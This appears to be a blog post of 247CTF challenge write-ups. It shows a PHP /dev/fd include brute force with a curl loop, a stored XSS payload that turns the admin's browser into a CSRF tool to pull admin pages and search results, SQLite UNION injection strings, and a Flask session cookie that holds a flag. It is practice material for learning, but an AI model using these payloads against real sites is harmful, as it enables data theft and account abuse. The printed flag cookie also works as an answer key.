247CTF solution: Forgotten file pointer

We know that the flag is in /tmp/flag.txt and we have to send a parameter named include to the server with method GET to read a file.

PHP have a bug named Cannot open file descriptor streams, then we will brute force to find the flag.

https://17ab3b9759789fcb.247ctf.com/?include=/dev/fd/<i>

With 0 <= i <= 99, because include‘s length is less than or equal to 10.

We use:

for i in $(seq 0 99); do echo; echo "Testing fd $i"; curl -s https://17ab3b9759789fcb.247ctf.com/?include=/dev/fd/$i | grep 247; done

The flag is printed when i = 10.

247CTF solution: Helicopter Administrators

XSS

In this challenge, we have a comment function, so i think it might be vulnerable to XSS.

There is a note when reporting, after researching from this note, I found the XSS payload that works:

<style onload=alert("niek")></style>

CSRF

We cannot access the admin’s page, so I think about a CSRF vulnerability where the admin will access the page and comment the page source so that we can see it.

We will comment on the user number 3 (or 2) and make the admin comment on the 1.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/user/0',true);
req.send();
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

After comment, we report this user so that the admin will view this page and trigger the XSS and CSRF.

Then go to the user number 1 and we have the content of admin’s page in base64. Decode it (change all spaces into +), we can see there is a search function.

<div class="mt-25">
  <form class="navbar-form" method="POST" action="/secret_admin_search" comment="#search-response">
    <div id="search-response" class="description"></div>
    <div class="input-group">    
      <input type="text" class="form-control description" id="search" name="search">
      <span class="input-group-btn">
        <input type="submit" class="btn btn-default search" value="User ID Search">
      </span> 
    </div>
  </form>
</div>

Then, I think about testing CSRF with the search function, the admin will search and comment the result in user 1’s page for us.

I use payload:

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=a');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

Again, we received a base64 string, change all spaces to + and decode it:

{"message":"SQLite error: no such column: a","result":"error"}

So the web is using SQLite and it is vulnerable to SQL injection.

SQL injection

If we use the payload:

search=1

We can see the information of an user.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

We can list all table in the database with:

search=1+UNION+SELECT+1,name,1,1,1,null+FROM+sqlite_master+WHERE+type=\'table\'--

There is a table named flag.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"],[1,"comment",1,1,1,null],[1,"flag",1,1,1,null],[1,"user",1,1,1,null]],"result":"success"}

Next, we find the column’s name of that table.

search=1+UNION+SELECT+1,sql,1,1,1,null+FROM+sqlite_master+WHERE+tbl_name=\'flag\'+AND+type=\'table\'--
{"message":[[1,"CREATE TABLE flag (flag text)",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

Now, we have column ‘flag‘ in table ‘flag‘. Let’s get it.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=1+UNION+SELECT+1,flag,1,1,1,null+FROM+\'flag\'--');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

And we found the flag.

{"message":[[1,"247CTF{XXXXX}",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

247CTF solution: Secured session

In this challenge, we have code in python. As we read the file, we can see that before the web compare the parameter secret_key with os.urandom(24), the session is already set equal to the flag.

So, we only need to get the session of the page: https://d2a55b8b83bf981a.247ctf.com/flag

eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YEDySg.JxL0wjTpynKN91NMg4u75rjIX_Y

Decode this base64 string twice and we can get the flag.

Design a site like this with WordPress.com
Get started